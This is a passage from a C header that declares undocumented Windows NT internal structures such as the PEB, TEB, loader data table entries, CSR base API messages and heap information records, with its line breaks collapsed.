*PBASE_CREATETHREAD_MSG; // typedef struct _BASE_MSG_SXS_HANDLES { PVOID File; PVOID Process; PVOID Section; ULONGLONG ViewBase; } BASE_MSG_SXS_HANDLES, *PBASE_MSG_SXS_HANDLES; // typedef struct _BASE_EXIT_VDM_MSG { PVOID ConsoleHandle; ULONG iWowTask; PVOID WaitObjectForVDM; } BASE_EXIT_VDM_MSG, *PBASE_EXIT_VDM_MSG; // typedef struct _BASE_IS_FIRST_VDM_MSG { __int32 FirstVDM; } BASE_IS_FIRST_VDM_MSG, *PBASE_IS_FIRST_VDM_MSG; // typedef struct _BASE_SET_REENTER_COUNT_MSG { PVOID ConsoleHandle; ULONG fIncDec; } BASE_SET_REENTER_COUNT_MSG, *PBASE_SET_REENTER_COUNT_MSG; // typedef struct _BASE_BAT_NOTIFICATION_MSG { PVOID ConsoleHandle; ULONG fBeginEnd; } BASE_BAT_NOTIFICATION_MSG, *PBASE_BAT_NOTIFICATION_MSG; // typedef struct _BASE_REGISTER_WOWEXEC_MSG { PVOID hEventWowExec; PVOID ConsoleHandle; } BASE_REGISTER_WOWEXEC_MSG, *PBASE_REGISTER_WOWEXEC_MSG; // typedef struct _BASE_REFRESHINIFILEMAPPING_MSG { UNICODE_STRING IniFileName; } BASE_REFRESHINIFILEMAPPING_MSG, *PBASE_REFRESHINIFILEMAPPING_MSG; // typedef struct _BASE_SET_TERMSRVCLIENTTIMEZONE { struct _RTL_DYNAMIC_TIME_ZONE_INFORMATION* pDTZInfo; ULONG ulDTZInfoSize; KSYSTEM_TIME RealBias; ULONG TimeZoneId; } BASE_SET_TERMSRVCLIENTTIMEZONE, *PBASE_SET_TERMSRVCLIENTTIMEZONE; // typedef struct _BASE_SET_TERMSRVAPPINSTALLMODE { __int32 bState; } BASE_SET_TERMSRVAPPINSTALLMODE, *PBASE_SET_TERMSRVAPPINSTALLMODE; typedef struct _BASE_SOUNDSENTRY_NOTIFICATION_MSG { ULONG VideoMode; } BASE_SOUNDSENTRY_NOTIFICATION_MSG, *PBASE_SOUNDSENTRY_NOTIFICATION_MSG; // typedef struct _BASE_DEFINEDOSDEVICE_MSG { ULONG Flags; UNICODE_STRING DeviceName; UNICODE_STRING TargetPath; } BASE_DEFINEDOSDEVICE_MSG, *PBASE_DEFINEDOSDEVICE_MSG; // typedef struct _BASE_MSG_SXS_STREAM { UCHAR FileType; UCHAR PathType; UCHAR HandleType; UNICODE_STRING Path; PVOID FileHandle; HANDLE Handle; unsigned __int64 Offset; ULONG Size; } BASE_MSG_SXS_STREAM, *PBASE_MSG_SXS_STREAM; // typedef struct _BASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG { ULONG Flags; USHORT ProcessorArchitecture; UNICODE_STRING CultureFallbacks; struct _BASE_MSG_SXS_STREAM Manifest; struct _BASE_MSG_SXS_STREAM Policy; UNICODE_STRING AssemblyDirectory; UNICODE_STRING TextualAssemblyIdentity; unsigned __int64 FileTime; ULONG ResourceName; PVOID ActivationContextData; struct _ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION RunLevel; UNICODE_STRING AssemblyName; } BASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG, *PBASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG; // typedef struct _BASE_API_MSG { PORT_MESSAGE h; struct _CSR_CAPTURE_HEADER* CaptureBuffer; CSR_API_NUMBER ApiNumber; ULONG ReturnValue; ULONG Reserved; union { /* size 0xb0*/ BASE_NLS_SET_USER_INFO_MSG NlsSetUserInfo; BASE_NLS_GET_USER_INFO_MSG NlsGetUserInfo; BASE_NLS_UPDATE_CACHE_COUNT_MSG NlsCacheUpdateCount; BASE_SHUTDOWNPARAM_MSG ShutdownParam; BASE_CREATEPROCESS_MSG CreateProcess; BASE_DEFERREDCREATEPROCESS_MSG DeferredCreateProcess; BASE_CREATETHREAD_MSG CreateThread; BASE_GETTEMPFILE_MSG GetTempFile; BASE_EXITPROCESS_MSG ExitProcess; BASE_DEBUGPROCESS_MSG DebugProcess; BASE_CHECKVDM_MSG CheckVDM; BASE_UPDATE_VDM_ENTRY_MSG UpdateVDMEntry; BASE_GET_NEXT_VDM_COMMAND_MSG GetNextVDMCommand; BASE_EXIT_VDM_MSG ExitVDM; BASE_IS_FIRST_VDM_MSG IsFirstVDM; BASE_GET_VDM_EXIT_CODE_MSG GetVDMExitCode; BASE_SET_REENTER_COUNT SetReenterCount; BASE_GET_SET_VDM_CUR_DIRS_MSG GetSetVDMCurDirs; BASE_BAT_NOTIFICATION_MSG BatNotification; BASE_REGISTER_WOWEXEC_MSG RegisterWowExec; BASE_SOUNDSENTRY_NOTIFICATION_MSG SoundSentryNotification; BASE_REFRESHINIFILEMAPPING_MSG RefreshIniFileMapping; BASE_DEFINEDOSDEVICE_MSG DefineDosDeviceApi; BASE_SET_TERMSRVAPPINSTALLMODE SetTermsrvAppInstallMode; BASE_SET_TERMSRVCLIENTTIMEZONE SetTermsrvClientTimeZone; BASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG SxsCreateActivationContext; } u; } BASE_API_MSG, *PBASE_API_MSG; // typedef struct _BASE_STATIC_SERVER_DATA { UNICODE_STRING WindowsDirectory; UNICODE_STRING WindowsSystemDirectory; UNICODE_STRING NamedObjectDirectory; USHORT WindowsMajorVersion; USHORT WindowsMinorVersion; USHORT BuildNumber; USHORT CSDNumber; USHORT RCNumber; WCHAR CSDVersion[128]; SYSTEM_BASIC_INFORMATION SysInfo; SYSTEM_TIMEOFDAY_INFORMATION TimeOfDay; struct _INIFILE_MAPPING* IniFileMapping; NLS_USER_INFO NlsUserInfo; UCHAR DefaultSeparateVDM; UCHAR IsWowTaskReady; UNICODE_STRING WindowsSys32x86Directory; UCHAR fTermsrvAppInstallMode; RTL_DYNAMIC_TIME_ZONE_INFORMATION tziTermsrvClientTimeZone; KSYSTEM_TIME ktTermsrvClientBias; ULONG TermsrvClientTimeZoneId; UCHAR LUIDDeviceMapsEnabled; ULONG TermsrvClientTimeZoneChangeNum; } BASE_STATIC_SERVER_DATA, *PBASE_STATIC_SERVER_DATA; // #define GDI_BATCH_BUFFER_SIZE 310 typedef struct _GDI_TEB_BATCH { ULONG Offset; UCHAR Alignment[4]; ULONG_PTR HDC; ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; } GDI_TEB_BATCH,*PGDI_TEB_BATCH; typedef enum _EVENT_TYPE { NotificationEvent, SynchronizationEvent } EVENT_TYPE; typedef enum _TIMER_TYPE { NotificationTimer, SynchronizationTimer } TIMER_TYPE; typedef enum _WAIT_TYPE { WaitAll, WaitAny } WAIT_TYPE; #define STATIC_UNICODE_BUFFER_LENGTH 261 #define WIN32_CLIENT_INFO_LENGTH 62 #define WIN32_CLIENT_INFO_SPIN_COUNT 1 typedef PVOID* PPVOID; #define TLS_MINIMUM_AVAILABLE 64 typedef struct _ASSEMBLY_STORAGE_MAP_ENTRY { ULONG Flags; UNICODE_STRING DosPath; PVOID Handle; } ASSEMBLY_STORAGE_MAP_ENTRY, *PASSEMBLY_STORAGE_MAP_ENTRY; typedef struct _ASSEMBLY_STORAGE_MAP { ULONG Flags; ULONG AssemblyCount; struct _ASSEMBLY_STORAGE_MAP_ENTRY** AssemblyArray; } ASSEMBLY_STORAGE_MAP, *PASSEMBLY_STORAGE_MAP; typedef struct _ACTIVATION_CONTEXT_DATA { ULONG Magic; ULONG HeaderSize; ULONG FormatVersion; ULONG TotalSize; ULONG DefaultTocOffset; ULONG ExtendedTocOffset; ULONG AssemblyRosterOffset; ULONG Flags; } ACTIVATION_CONTEXT_DATA, *PACTIVATION_CONTEXT_DATA; typedef struct _ACTIVATION_CONTEXT { LONG RefCount; ULONG Flags; LIST_ENTRY Links; struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //void (NotificationRoutine)(unsigned long, struct _ACTIVATION_CONTEXT*, void*, void*, void*, unsigned char*); struct _ACTIVATION_CONTEXT* NotificationRoutine; PVOID NotificationContext; ULONG SentNotifications[8]; ULONG DisabledNotifications[8]; struct _ASSEMBLY_STORAGE_MAP StorageMap; struct _ASSEMBLY_STORAGE_MAP_ENTRY* InlineStorageMapEntries[32]; ULONG StackTraceIndex; PVOID StackTraces[4][4]; } ACTIVATION_CONTEXT, *PACTIVATION_CONTEXT; // typedef struct _PEB_FREE_BLOCK { struct _PEB_FREE_BLOCK *Next; ULONG Size; } PEB_FREE_BLOCK, *PPEB_FREE_BLOCK; typedef struct _PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; HANDLE SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID EntryInProgress; BOOLEAN ShutdownInProgress; HANDLE ShutdownThreadId; } PEB_LDR_DATA, *PPEB_LDR_DATA; typedef struct _INITIAL_TEB { struct { PVOID OldStackBase; PVOID OldStackLimit; } OldInitialTeb; PVOID StackBase; PVOID StackLimit; PVOID StackAllocationBase; } INITIAL_TEB, *PINITIAL_TEB; typedef struct _WOW64_PROCESS { PVOID Wow64; } WOW64_PROCESS, *PWOW64_PROCESS; // // Private flags for loader data table entries // #define LDRP_STATIC_LINK 0x00000002 #define LDRP_IMAGE_DLL 0x00000004 #define LDRP_LOAD_IN_PROGRESS 0x00001000 #define LDRP_UNLOAD_IN_PROGRESS 0x00002000 #define LDRP_ENTRY_PROCESSED 0x00004000 #define LDRP_ENTRY_INSERTED 0x00008000 #define LDRP_CURRENT_LOAD 0x00010000 #define LDRP_FAILED_BUILTIN_LOAD 0x00020000 #define LDRP_DONT_CALL_FOR_THREADS 0x00040000 #define LDRP_PROCESS_ATTACH_CALLED 0x00080000 #define LDRP_DEBUG_SYMBOLS_LOADED 0x00100000 #define LDRP_IMAGE_NOT_AT_BASE 0x00200000 #define LDRP_COR_IMAGE 0x00400000 #define LDRP_COR_OWNS_UNMAP 0x00800000 #define LDRP_SYSTEM_MAPPED 0x01000000 #define LDRP_IMAGE_VERIFYING 0x02000000 #define LDRP_DRIVER_DEPENDENT_DLL 0x04000000 #define LDRP_ENTRY_NATIVE 0x08000000 #define LDRP_REDIRECTED 0x10000000 #define LDRP_NON_PAGED_DEBUG_INFO 0x20000000 #define LDRP_MM_LOADED 0x40000000 #define LDRP_COMPAT_DATABASE_PROCESSED 0x80000000 #define LDR_GET_DLL_HANDLE_EX_UNCHANGED_REFCOUNT 0x00000001 #define LDR_GET_DLL_HANDLE_EX_PIN 0x00000002 #define LDR_ADDREF_DLL_PIN 0x00000001 #define LDR_GET_PROCEDURE_ADDRESS_DONT_RECORD_FORWARDER 0x00000001 #define LDR_LOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001 #define LDR_LOCK_LOADER_LOCK_FLAG_TRY_ONLY 0x00000002 #define LDR_LOCK_LOADER_LOCK_DISPOSITION_INVALID 0 #define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_ACQUIRED 1 #define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_NOT_ACQUIRED 2 #define LDR_UNLOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001 #define LDR_DLL_NOTIFICATION_REASON_LOADED 1 #define LDR_DLL_NOTIFICATION_REASON_UNLOADED 2 typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA { ULONG Flags; PUNICODE_STRING FullDllName; PUNICODE_STRING BaseDllName; PVOID DllBase; ULONG SizeOfImage; } LDR_DLL_LOADED_NOTIFICATION_DATA, *PLDR_DLL_LOADED_NOTIFICATION_DATA; typedef struct _LDR_DLL_UNLOADED_NOTIFICATION_DATA { ULONG Flags; PCUNICODE_STRING FullDllName; PCUNICODE_STRING BaseDllName; PVOID DllBase; ULONG SizeOfImage; } LDR_DLL_UNLOADED_NOTIFICATION_DATA, *PLDR_DLL_UNLOADED_NOTIFICATION_DATA; typedef union _LDR_DLL_NOTIFICATION_DATA { LDR_DLL_LOADED_NOTIFICATION_DATA Loaded; LDR_DLL_UNLOADED_NOTIFICATION_DATA Unloaded; } LDR_DLL_NOTIFICATION_DATA, *PLDR_DLL_NOTIFICATION_DATA; typedef VOID (NTAPI *PLDR_DLL_NOTIFICATION_FUNCTION)( IN ULONG NotificationReason, IN PLDR_DLL_NOTIFICATION_DATA NotificationData, _In_opt_ PVOID Context ); typedef struct _RTL_PROCESS_MODULE_INFORMATION { HANDLE Section; PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; UCHAR FullPathName[256]; } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; typedef struct _RTL_PROCESS_MODULES { ULONG NumberOfModules; RTL_PROCESS_MODULE_INFORMATION Modules[1]; } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; typedef struct _RTL_PROCESS_MODULE_INFORMATION_EX { USHORT NextOffset; RTL_PROCESS_MODULE_INFORMATION BaseInfo; ULONG ImageChecksum; ULONG TimeDateStamp; PVOID DefaultBase; } RTL_PROCESS_MODULE_INFORMATION_EX, *PRTL_PROCESS_MODULE_INFORMATION_EX; // // Loader Data Table. Used to track DLLs loaded into an // image. // #ifdef __cplusplus struct LIST_ENTRY_EX : public LIST_ENTRY { BYTE unk1[8]; HANDLE base; BYTE unk2[20]; WCHAR* name; }; #endif typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; }; union { ULONG TimeDateStamp; PVOID LoadedImports; }; PVOID EntryPointActivationContext; PVOID PatchInformation; LIST_ENTRY ForwarderLinks; LIST_ENTRY ServiceTagLinks; LIST_ENTRY StaticLinks; PVOID ContextInformation; ULONG_PTR OriginalBase; LARGE_INTEGER LoadTime; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; typedef const struct _LDR_DATA_TABLE_ENTRY *PCLDR_DATA_TABLE_ENTRY; typedef NTSTATUS LDR_RELOCATE_IMAGE_RETURN_TYPE; struct _FLS_CALLBACK_INFO; typedef BOOLEAN (NTAPI *PDLL_INIT_ROUTINE)( IN PVOID DllHandle, IN ULONG Reason, _In_opt_ PCONTEXT Context ); #define DOS_MAX_COMPONENT_LENGTH 255 #define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5) #define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 #define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 typedef struct _RTL_RELATIVE_NAME { STRING RelativeName; HANDLE ContainingDirectory; } RTL_RELATIVE_NAME, *PRTL_RELATIVE_NAME; typedef struct _RTLP_CURDIR_REF *PRTLP_CURDIR_REF; typedef struct _RTL_RELATIVE_NAME_U { UNICODE_STRING RelativeName; HANDLE ContainingDirectory; PRTLP_CURDIR_REF CurDirRef; } RTL_RELATIVE_NAME_U, *PRTL_RELATIVE_NAME_U; typedef enum _RTL_PATH_TYPE { RtlPathTypeUnknown, RtlPathTypeUncAbsolute, RtlPathTypeDriveAbsolute, RtlPathTypeDriveRelative, RtlPathTypeRooted, RtlPathTypeRelative, RtlPathTypeLocalDevice, RtlPathTypeRootLocalDevice } RTL_PATH_TYPE, *PRTL_PATH_TYPE; #define RTL_MAX_DRIVE_LETTERS 32 #define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 // 18/04/2011 updated typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; union { BOOLEAN BitField; struct { BOOLEAN ImageUsesLargePages : 1; BOOLEAN IsProtectedProcess : 1; BOOLEAN IsLegacyProcess : 1; BOOLEAN IsImageDynamicallyRelocated : 1; BOOLEAN SkipPatchingUser32Forwarders : 1; BOOLEAN SpareBits : 3; }; }; HANDLE Mutant; PVOID ImageBaseAddress; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; PVOID SubSystemData; PVOID ProcessHeap; PRTL_CRITICAL_SECTION FastPebLock; PVOID AtlThunkSListPtr; PVOID IFEOKey; union { ULONG CrossProcessFlags; struct { ULONG ProcessInJob : 1; ULONG ProcessInitializing : 1; ULONG ProcessUsingVEH : 1; ULONG ProcessUsingVCH : 1; ULONG ProcessUsingFTH : 1; ULONG ReservedBits0 : 27; }; ULONG EnvironmentUpdateCount; }; union { PVOID KernelCallbackTable; PVOID UserSharedInfoPtr; }; ULONG SystemReserved[1]; ULONG AtlThunkSListPtr32; PVOID ApiSetMap; ULONG TlsExpansionCounter; PVOID TlsBitmap; ULONG TlsBitmapBits[2]; PVOID ReadOnlySharedMemoryBase; PVOID HotpatchInformation; PPVOID ReadOnlyStaticServerData; PVOID AnsiCodePageData; PVOID OemCodePageData; PVOID UnicodeCaseTableData; ULONG NumberOfProcessors; ULONG NtGlobalFlag; LARGE_INTEGER CriticalSectionTimeout; SIZE_T HeapSegmentReserve; SIZE_T HeapSegmentCommit; SIZE_T HeapDeCommitTotalFreeThreshold; SIZE_T HeapDeCommitFreeBlockThreshold; ULONG NumberOfHeaps; ULONG MaximumNumberOfHeaps; PPVOID ProcessHeaps; PVOID GdiSharedHandleTable; PVOID ProcessStarterHelper; ULONG GdiDCAttributeList; PRTL_CRITICAL_SECTION LoaderLock; ULONG OSMajorVersion; ULONG OSMinorVersion; USHORT OSBuildNumber; USHORT OSCSDVersion; ULONG OSPlatformId; ULONG ImageSubsystem; ULONG ImageSubsystemMajorVersion; ULONG ImageSubsystemMinorVersion; ULONG_PTR ImageProcessAffinityMask; GDI_HANDLE_BUFFER GdiHandleBuffer; PVOID PostProcessInitRoutine; PVOID TlsExpansionBitmap; ULONG TlsExpansionBitmapBits[32]; ULONG SessionId; ULARGE_INTEGER AppCompatFlags; ULARGE_INTEGER AppCompatFlagsUser; PVOID pShimData; PVOID AppCompatInfo; UNICODE_STRING CSDVersion; PVOID ActivationContextData; PVOID ProcessAssemblyStorageMap; PVOID SystemDefaultActivationContextData; PVOID SystemAssemblyStorageMap; SIZE_T MinimumStackCommit; PPVOID FlsCallback; LIST_ENTRY FlsListHead; PVOID FlsBitmap; ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)]; ULONG FlsHighIndex; PVOID WerRegistrationData; PVOID WerShipAssertPtr; PVOID pContextData; PVOID pImageHeaderHash; union { ULONG TracingFlags; struct { ULONG HeapTracingEnabled : 1; ULONG CritSecTracingEnabled : 1; ULONG SpareTracingBits : 30; }; }; } PEB, *PPEB; // // Fusion/sxs thread state information (aka, stuff noone cares about!) // #define ACTIVATION_CONTEXT_STACK_FLAG_QUERIES_DISABLED (0x00000001) typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME { struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous; struct _ACTIVATION_CONTEXT* ActivationContext; ULONG Flags; } RTL_ACTIVATION_CONTEXT_STACK_FRAME, *PRTL_ACTIVATION_CONTEXT_STACK_FRAME; typedef struct _ACTIVATION_CONTEXT_STACK { struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME * ActiveFrame; struct _LIST_ENTRY FrameListCache; ULONG Flags; ULONG NextCookieSequenceNumber; ULONG StackId; } ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK; typedef const ACTIVATION_CONTEXT_STACK * PCACTIVATION_CONTEXT_STACK; #define TEB_ACTIVE_FRAME_CONTEXT_FLAG_EXTENDED (0x00000001) typedef struct _TEB_ACTIVE_FRAME_CONTEXT { ULONG Flags; PSTR FrameName; } TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT; typedef const TEB_ACTIVE_FRAME_CONTEXT *PCTEB_ACTIVE_FRAME_CONTEXT; typedef struct _TEB_ACTIVE_FRAME_CONTEXT_EX { TEB_ACTIVE_FRAME_CONTEXT BasicContext; PCSTR SourceLocation; // e.g. "c:\windows\system32\ntdll.dll" } TEB_ACTIVE_FRAME_CONTEXT_EX, *PTEB_ACTIVE_FRAME_CONTEXT_EX; typedef const TEB_ACTIVE_FRAME_CONTEXT_EX *PCTEB_ACTIVE_FRAME_CONTEXT_EX; #define TEB_ACTIVE_FRAME_FLAG_EXTENDED (0x00000001) // 17/3/2011 updated typedef struct _TEB_ACTIVE_FRAME { ULONG Flags; struct _TEB_ACTIVE_FRAME *Previous; PTEB_ACTIVE_FRAME_CONTEXT Context; } TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME; typedef const TEB_ACTIVE_FRAME *PCTEB_ACTIVE_FRAME; typedef struct _TEB_ACTIVE_FRAME_EX { TEB_ACTIVE_FRAME BasicFrame; PVOID ExtensionIdentifier; // use address of your DLL Main or something mapping in the address space } TEB_ACTIVE_FRAME_EX, *PTEB_ACTIVE_FRAME_EX; typedef const TEB_ACTIVE_FRAME_EX *PCTEB_ACTIVE_FRAME_EX; // 18/04/2011 typedef struct _TEB { NT_TIB NtTib; PVOID EnvironmentPointer; CLIENT_ID ClientId; PVOID ActiveRpcHandle; PVOID ThreadLocalStoragePointer; PPEB ProcessEnvironmentBlock; ULONG LastErrorValue; ULONG CountOfOwnedCriticalSections; PVOID CsrClientThread; PVOID Win32ThreadInfo; ULONG User32Reserved[26]; ULONG UserReserved[5]; PVOID WOW32Reserved; LCID CurrentLocale; ULONG FpSoftwareStatusRegister; PVOID SystemReserved1[54]; NTSTATUS ExceptionCode; PVOID ActivationContextStackPointer; #if defined(_M_X64) UCHAR SpareBytes[24]; #else UCHAR SpareBytes[36]; #endif ULONG TxFsContext; GDI_TEB_BATCH GdiTebBatch; CLIENT_ID RealClientId; HANDLE GdiCachedProcessHandle; ULONG GdiClientPID; ULONG GdiClientTID; PVOID GdiThreadLocalInfo; ULONG_PTR Win32ClientInfo[62]; PVOID glDispatchTable[233]; ULONG_PTR glReserved1[29]; PVOID glReserved2; PVOID glSectionInfo; PVOID glSection; PVOID glTable; PVOID glCurrentRC; PVOID glContext; NTSTATUS LastStatusValue; UNICODE_STRING StaticUnicodeString; WCHAR StaticUnicodeBuffer[261]; PVOID DeallocationStack; PVOID TlsSlots[64]; LIST_ENTRY TlsLinks; PVOID Vdm; PVOID ReservedForNtRpc; PVOID DbgSsReserved[2]; ULONG HardErrorMode; #if defined(_M_X64) PVOID Instrumentation[11]; #else PVOID Instrumentation[9]; #endif GUID ActivityId; PVOID SubProcessTag; PVOID EtwLocalData; PVOID EtwTraceData; PVOID WinSockData; ULONG GdiBatchCount; union { PROCESSOR_NUMBER CurrentIdealProcessor; ULONG IdealProcessorValue; struct { UCHAR ReservedPad0; UCHAR ReservedPad1; UCHAR ReservedPad2; UCHAR IdealProcessor; }; }; ULONG GuaranteedStackBytes; PVOID ReservedForPerf; PVOID ReservedForOle; ULONG WaitingOnLoaderLock; PVOID SavedPriorityState; ULONG_PTR SoftPatchPtr1; PVOID ThreadPoolData; PPVOID TlsExpansionSlots; #if defined(_M_X64) PVOID DeallocationBStore; PVOID BStoreLimit; #endif ULONG MuiGeneration; ULONG IsImpersonating; PVOID NlsCache; PVOID pShimData; ULONG HeapVirtualAffinity; HANDLE CurrentTransactionHandle; PTEB_ACTIVE_FRAME ActiveFrame; PVOID FlsData; PVOID PreferredLanguages; PVOID UserPrefLanguages; PVOID MergedPrefLanguages; ULONG MuiImpersonation; union { USHORT CrossTebFlags; USHORT SpareCrossTebBits : 16; }; union { USHORT SameTebFlags; struct { USHORT SafeThunkCall : 1; USHORT InDebugPrint : 1; USHORT HasFiberData : 1; USHORT SkipThreadAttach : 1; USHORT WerInShipAssertCode : 1; USHORT RanProcessInit : 1; USHORT ClonedThread : 1; USHORT SuppressDebugMsg : 1; USHORT DisableUserStackWalk : 1; USHORT RtlExceptionAttached : 1; USHORT InitialThread : 1; USHORT SpareSameTebBits : 1; }; }; PVOID TxnScopeEnterCallback; PVOID TxnScopeExitCallback; PVOID TxnScopeContext; ULONG LockCount; ULONG SpareUlong0; PVOID ResourceRetValue; } TEB, *PTEB; #define PcTeb 0x18 #define RtlGetCurrentProcessId() (HandleToUlong(NtCurrentTeb()->ClientId.UniqueProcess)) #define RtlGetCurrentThreadId() (HandleToUlong(NtCurrentTeb()->ClientId.UniqueThread)) #define ZwCurrentProcess() NtCurrentProcess() // 17/3/2011 added __inline struct _PEB * NtCurrentPeb() { return NtCurrentTeb()->ProcessEnvironmentBlock; } #define WOWAddress() ( NtCurrentTeb()->WOW32Reserved ) #define RtlProcessHeap() ( NtCurrentPeb()->ProcessHeap ) // 28/3/2011 added #define RtlAcquireLockRoutine(L) RtlEnterCriticalSection((PRTL_CRITICAL_SECTION)(L)) // added 18.04.2011 typedef struct _THREAD_BASIC_INFORMATION { NTSTATUS ExitStatus; PTEB TebBaseAddress; CLIENT_ID ClientId; KAFFINITY AffinityMask; KPRIORITY Priority; KPRIORITY BasePriority; } THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION; // added 20.12.11 // Process Device Map information // NtQueryInformationProcess using ProcessDeviceMap // NtSetInformationProcess using ProcessDeviceMap // //#pragma pack (push, 1) typedef struct _PROCESS_DEVICEMAP_INFORMATION { union { struct { HANDLE DirectoryHandle; } Set; struct { ULONG DriveMap; UCHAR DriveType[ 32 ]; } Query; }; } PROCESS_DEVICEMAP_INFORMATION, *PPROCESS_DEVICEMAP_INFORMATION; typedef struct _PROCESS_DEVICEMAP_INFORMATION_EX { union { struct { HANDLE DirectoryHandle; } Set; struct { ULONG DriveMap; UCHAR DriveType[ 32 ]; } Query; }; ULONG Flags; // specifies that the query type } PROCESS_DEVICEMAP_INFORMATION_EX, *PPROCESS_DEVICEMAP_INFORMATION_EX; //#pragma pack(pop) typedef struct _PROCESS_BASIC_INFORMATION { NTSTATUS ExitStatus; PPEB PebBaseAddress; ULONG_PTR AffinityMask; KPRIORITY BasePriority; ULONG_PTR UniqueProcessId; ULONG_PTR InheritedFromUniqueProcessId; } PROCESS_BASIC_INFORMATION; typedef PROCESS_BASIC_INFORMATION *PPROCESS_BASIC_INFORMATION; typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION { SIZE_T Size; // Must be set to structure size on input PROCESS_BASIC_INFORMATION BasicInfo; union { ULONG Flags; struct { ULONG IsProtectedProcess : 1; ULONG IsWow64Process : 1; ULONG IsProcessDeleting : 1; ULONG IsCrossSessionCreate : 1; ULONG SpareBits : 28; } DUMMYSTRUCTNAME; } DUMMYUNIONNAME; } PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION; typedef struct _RTL_HEAP_ENTRY { SIZE_T Size; USHORT Flags; USHORT AllocatorBackTraceIndex; union { struct { SIZE_T Settable; ULONG Tag; } s1; // All other heap entries struct { SIZE_T CommittedSize; PVOID FirstBlock; } s2; // RTL_SEGMENT } u; } RTL_HEAP_ENTRY, *PRTL_HEAP_ENTRY; #define RTL_HEAP_BUSY (USHORT)0x0001 #define RTL_HEAP_SEGMENT (USHORT)0x0002 #define RTL_HEAP_SETTABLE_VALUE (USHORT)0x0010 #define RTL_HEAP_SETTABLE_FLAG1 (USHORT)0x0020 #define RTL_HEAP_SETTABLE_FLAG2 (USHORT)0x0040 #define RTL_HEAP_SETTABLE_FLAG3 (USHORT)0x0080 #define RTL_HEAP_SETTABLE_FLAGS (USHORT)0x00E0 #define RTL_HEAP_UNCOMMITTED_RANGE (USHORT)0x0100 #define RTL_HEAP_PROTECTED_ENTRY (USHORT)0x0200 typedef struct _RTL_HEAP_TAG { ULONG NumberOfAllocations; ULONG NumberOfFrees; SIZE_T BytesAllocated; USHORT TagIndex; USHORT CreatorBackTraceIndex; WCHAR TagName[ 24 ]; } RTL_HEAP_TAG, *PRTL_HEAP_TAG; typedef struct _RTL_HEAP_INFORMATION { PVOID BaseAddress; ULONG Flags; USHORT EntryOverhead; USHORT CreatorBackTraceIndex; SIZE_T BytesAllocated; SIZE_T BytesCommitted; ULONG NumberOfTags; ULONG NumberOfEntries; ULONG NumberOfPseudoTags; ULONG PseudoTagGranularity; ULONG Reserved[ 5 ]; PRTL_HEAP_TAG Tags; PRTL_HEAP_ENTRY Entries; } RTL_HEAP_INFORMATION, *PRTL_HEAP_INFORMATION; typedef struct _RTL_PROCESS_HEAPS { ULONG NumberOfHeaps; RTL_HEAP_INFORMATION Heaps[ 1 ]; } RTL_PROCESS_HEAPS, *PRTL_PROCESS_HEAPS; typedef struct _RTL_PROCESS_LOCK_INFORMATION { PVOID Address; USHORT Type; USHORT CreatorBackTraceIndex; HANDLE OwningThread; // from the thread's ClientId->UniqueThread LONG LockCount; ULONG ContentionCount; ULONG EntryCount; // // The following fields are only valid for Type == RTL_CRITSECT_TYPE // LONG RecursionCount; // // The following fields are only valid for Type == RTL_RESOURCE_TYPE // ULONG NumberOfWaitingShared; ULONG NumberOfWaitingExclusive; } RTL_PROCESS_LOCK_INFORMATION, *PRTL_PROCESS_LOCK_INFORMATION; // do not name SHA_CTX, if using OpenSSL or such... produces errors. typedef struct { ULONG Unknown[6]; ULONG State[5]; ULONG Count[2]; UCHAR Buffer[64]; } ASHA_CTX, *PSHA_CTX; struct _CONTEXT; struct _EXCEPTION_RECORD; // note, winnt.h ... such the pain-in-ass with this structure. #if !defined(_WINNT_) typedef EXCEPTION_DISPOSITION (*PEXCEPTION_ROUTINE) ( IN struct _EXCEPTION_RECORD *ExceptionRecord, IN PVOID EstablisherFrame, 